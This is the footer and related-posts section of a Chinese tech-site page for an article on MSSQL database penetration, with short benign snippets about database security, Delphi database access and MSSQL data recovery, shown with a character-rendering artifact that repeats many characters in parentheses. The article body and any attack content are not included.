    關(guān)注

    3

    文章

    4349

    瀏覽量

    63027
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    366

    瀏覽量

    23478

原文標(biāo)題:數(shù)據(jù)庫安全之MSSQL滲透

文章出處:【微信號(hào):菜鳥學(xué)信安,微信公眾號(hào):菜鳥學(xué)信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    用Delphi做中BDE連接SQL數(shù)據(jù)庫(學(xué)習(xí)Delphi環(huán)境中數(shù)據(jù)庫操作的方法和數(shù)據(jù)庫應(yīng)用程序

    ,包含ODBC驅(qū)動(dòng)程序、MSSQL驅(qū)動(dòng)程序、ORACLE驅(qū)動(dòng)程序、SYSBASE驅(qū)動(dòng)程序等數(shù)據(jù)庫驅(qū)動(dòng)程序。Aliases:這是IDAPI.CFG中最重要的設(shè)置內(nèi)容,它負(fù)責(zé)記錄數(shù)據(jù)庫文件別名的關(guān)系,如此
    發(fā)表于 05-10 11:09

    安全數(shù)據(jù)庫如何管理

    據(jù)我所知,關(guān)于BlueNrg-MS設(shè)備上綁定的編程手冊(cè)部分,加密密鑰存儲(chǔ)在安全數(shù)據(jù)庫中,以便解析地址并加密未來的數(shù)據(jù)連接。這一切似乎都按預(yù)期工作,但我不清楚如何管理安全數(shù)據(jù)庫隨著時(shí)間的推移,當(dāng)許多
    發(fā)表于 03-04 16:41

    數(shù)據(jù)庫安全性概述

    本文主講 數(shù)據(jù)庫安全性,歡迎閱讀~????目錄一、數(shù)據(jù)庫安全性概述二、數(shù)據(jù)庫安全性控制1. 用
    發(fā)表于 07-30 06:42

    數(shù)據(jù)庫管理系統(tǒng)層次安全技術(shù)

    數(shù)據(jù)庫管理系統(tǒng)層次安全技術(shù) 數(shù)據(jù)庫系統(tǒng)的安全性很大程度上依賴于數(shù)據(jù)庫管理系統(tǒng)。如果數(shù)據(jù)庫管理系
    發(fā)表于 06-17 07:45 ?728次閱讀

    數(shù)據(jù)庫有什么安全需求?需要什么安全技術(shù)?

    數(shù)據(jù)庫安全就是指保護(hù)數(shù)據(jù)庫以防止非法使用所造成的信息泄露、更改或破壞。數(shù)據(jù)庫已經(jīng)在社會(huì)上和人們?nèi)粘I钪姓紦?jù)了十分重要的地位。該文首先簡要介紹了數(shù)據(jù)
    發(fā)表于 09-05 16:58 ?11次下載

    數(shù)據(jù)庫學(xué)習(xí)入門資料如何進(jìn)行數(shù)據(jù)庫設(shè)計(jì)

    本文檔的主要內(nèi)容詳細(xì)介紹的是數(shù)據(jù)庫學(xué)習(xí)入門資料如何進(jìn)行數(shù)據(jù)庫設(shè)計(jì)主要內(nèi)容包括了:數(shù)據(jù)庫系統(tǒng)設(shè)計(jì)的1 概述2 需求分析3 概念設(shè)計(jì)4 邏輯設(shè)計(jì)5 物理設(shè)計(jì)6 實(shí)現(xiàn)設(shè)計(jì)7運(yùn)行與維護(hù)
    發(fā)表于 10-25 16:29 ?14次下載
    <b class='flag-5'>數(shù)據(jù)庫</b>學(xué)習(xí)入門資料<b class='flag-5'>之</b>如何進(jìn)行<b class='flag-5'>數(shù)據(jù)庫</b>設(shè)計(jì)

    什么是數(shù)據(jù)庫安全數(shù)據(jù)庫安全性的詳細(xì)資料總結(jié)

    本文檔的主要內(nèi)容詳細(xì)介紹的是什么是數(shù)據(jù)庫安全數(shù)據(jù)庫安全性的詳細(xì)資料總結(jié)主要內(nèi)容包括了:1.數(shù)據(jù)庫安全
    發(fā)表于 10-30 16:11 ?6次下載
    什么是<b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>安全</b>性<b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>安全</b>性的詳細(xì)資料總結(jié)

    數(shù)據(jù)庫系統(tǒng)概論數(shù)據(jù)庫管理系統(tǒng)詳細(xì)資料概述

    本文檔的主要內(nèi)容詳細(xì)介紹的是數(shù)據(jù)庫系統(tǒng)概論數(shù)據(jù)庫管理系統(tǒng)詳細(xì)資料概述主要內(nèi)容包括了:1、DBMS的基本功能2、 DBMS的進(jìn)程結(jié)構(gòu)和多線索機(jī)制3、DBMS系統(tǒng)結(jié)構(gòu)4、語言處理5、數(shù)據(jù)
    發(fā)表于 11-15 15:12 ?0次下載
    <b class='flag-5'>數(shù)據(jù)庫</b>系統(tǒng)概論<b class='flag-5'>之</b><b class='flag-5'>數(shù)據(jù)庫</b>管理系統(tǒng)詳細(xì)資料概述

    數(shù)據(jù)庫系統(tǒng)概論如何進(jìn)行數(shù)據(jù)庫編程的資料概述

    本文檔的主要內(nèi)容詳細(xì)介紹的是數(shù)據(jù)庫系統(tǒng)概論如何進(jìn)行數(shù)據(jù)庫編程的資料概述主要內(nèi)容包括了:1、嵌入式SQL 2、存儲(chǔ)過程3、ODBC編程
    發(fā)表于 11-15 15:12 ?13次下載
    <b class='flag-5'>數(shù)據(jù)庫</b>系統(tǒng)概論<b class='flag-5'>之</b>如何進(jìn)行<b class='flag-5'>數(shù)據(jù)庫</b>編程的資料概述

    關(guān)于數(shù)據(jù)庫安全技術(shù)的概述

    數(shù)據(jù)庫安全,是指以保護(hù)數(shù)據(jù)庫系統(tǒng)、數(shù)據(jù)庫服務(wù)器和數(shù)據(jù)庫中的數(shù)據(jù)、應(yīng)用、存儲(chǔ),以及相關(guān)網(wǎng)絡(luò)連接為目
    發(fā)表于 06-24 17:23 ?1855次閱讀

    MSSQL數(shù)據(jù)庫服務(wù)器的命令查看存儲(chǔ)過程詳細(xì)資料說明

    本文檔的主要內(nèi)容詳細(xì)介紹的是MSSQL數(shù)據(jù)庫服務(wù)器的命令查看存儲(chǔ)過程詳細(xì)資料說明。
    發(fā)表于 11-01 17:29 ?10次下載

    上位機(jī)開發(fā)——數(shù)據(jù)庫系列問題

    前言 前面已經(jīng)給大家總結(jié)了一些關(guān)于數(shù)據(jù)庫的問題,基本上大家遇到的數(shù)據(jù)庫問題,都能從下面的文章中找到答案,希望大家可以收藏一下,遇到問題,可以一一對(duì)照去查找原因。 數(shù)據(jù)庫系列特定實(shí)例錯(cuò)
    發(fā)表于 05-10 10:34 ?0次下載
    上位機(jī)開發(fā)——<b class='flag-5'>數(shù)據(jù)庫</b>系列問題

    數(shù)據(jù)庫和普通數(shù)據(jù)庫區(qū)別?|PetaExpress云端數(shù)據(jù)庫

    和持久性有四個(gè)特點(diǎn)。 云數(shù)據(jù)庫和普通數(shù)據(jù)庫相比都具備哪些優(yōu)勢? 1)安全穩(wěn)定 云端數(shù)據(jù)庫服務(wù),能夠幫助用戶將危險(xiǎn)的操作收縮起來,避免數(shù)據(jù)庫
    的頭像 發(fā)表于 08-01 17:13 ?1196次閱讀

    數(shù)據(jù)庫數(shù)據(jù)恢復(fù)—MSSQL Server報(bào)錯(cuò)“附加數(shù)據(jù)庫錯(cuò)誤823”的數(shù)據(jù)恢復(fù)案例

    MSSQL Server數(shù)據(jù)庫比較常見的報(bào)錯(cuò)是“附加數(shù)據(jù)庫錯(cuò)誤823”。如果數(shù)據(jù)庫有備份,只需要還原備份即可;如果無備份或者備份不可用,則需要使用專業(yè)的
    的頭像 發(fā)表于 11-10 16:20 ?1052次閱讀
    <b class='flag-5'>數(shù)據(jù)庫</b><b class='flag-5'>數(shù)據(jù)</b>恢復(fù)—<b class='flag-5'>MSSQL</b> Server報(bào)錯(cuò)“附加<b class='flag-5'>數(shù)據(jù)庫</b>錯(cuò)誤823”的<b class='flag-5'>數(shù)據(jù)</b>恢復(fù)案例

    數(shù)據(jù)庫安全審計(jì)系統(tǒng):筑牢數(shù)據(jù)安全防線 提高數(shù)據(jù)資產(chǎn)安全

    隨著萬物互聯(lián)的技術(shù)演進(jìn),以及數(shù)字化轉(zhuǎn)型的快速發(fā)展,數(shù)據(jù)庫成為最具有戰(zhàn)略性的數(shù)字資產(chǎn)載體,保障數(shù)據(jù)庫安全也就保障了存儲(chǔ)其中的數(shù)據(jù)安全,
    的頭像 發(fā)表于 07-17 13:38 ?925次閱讀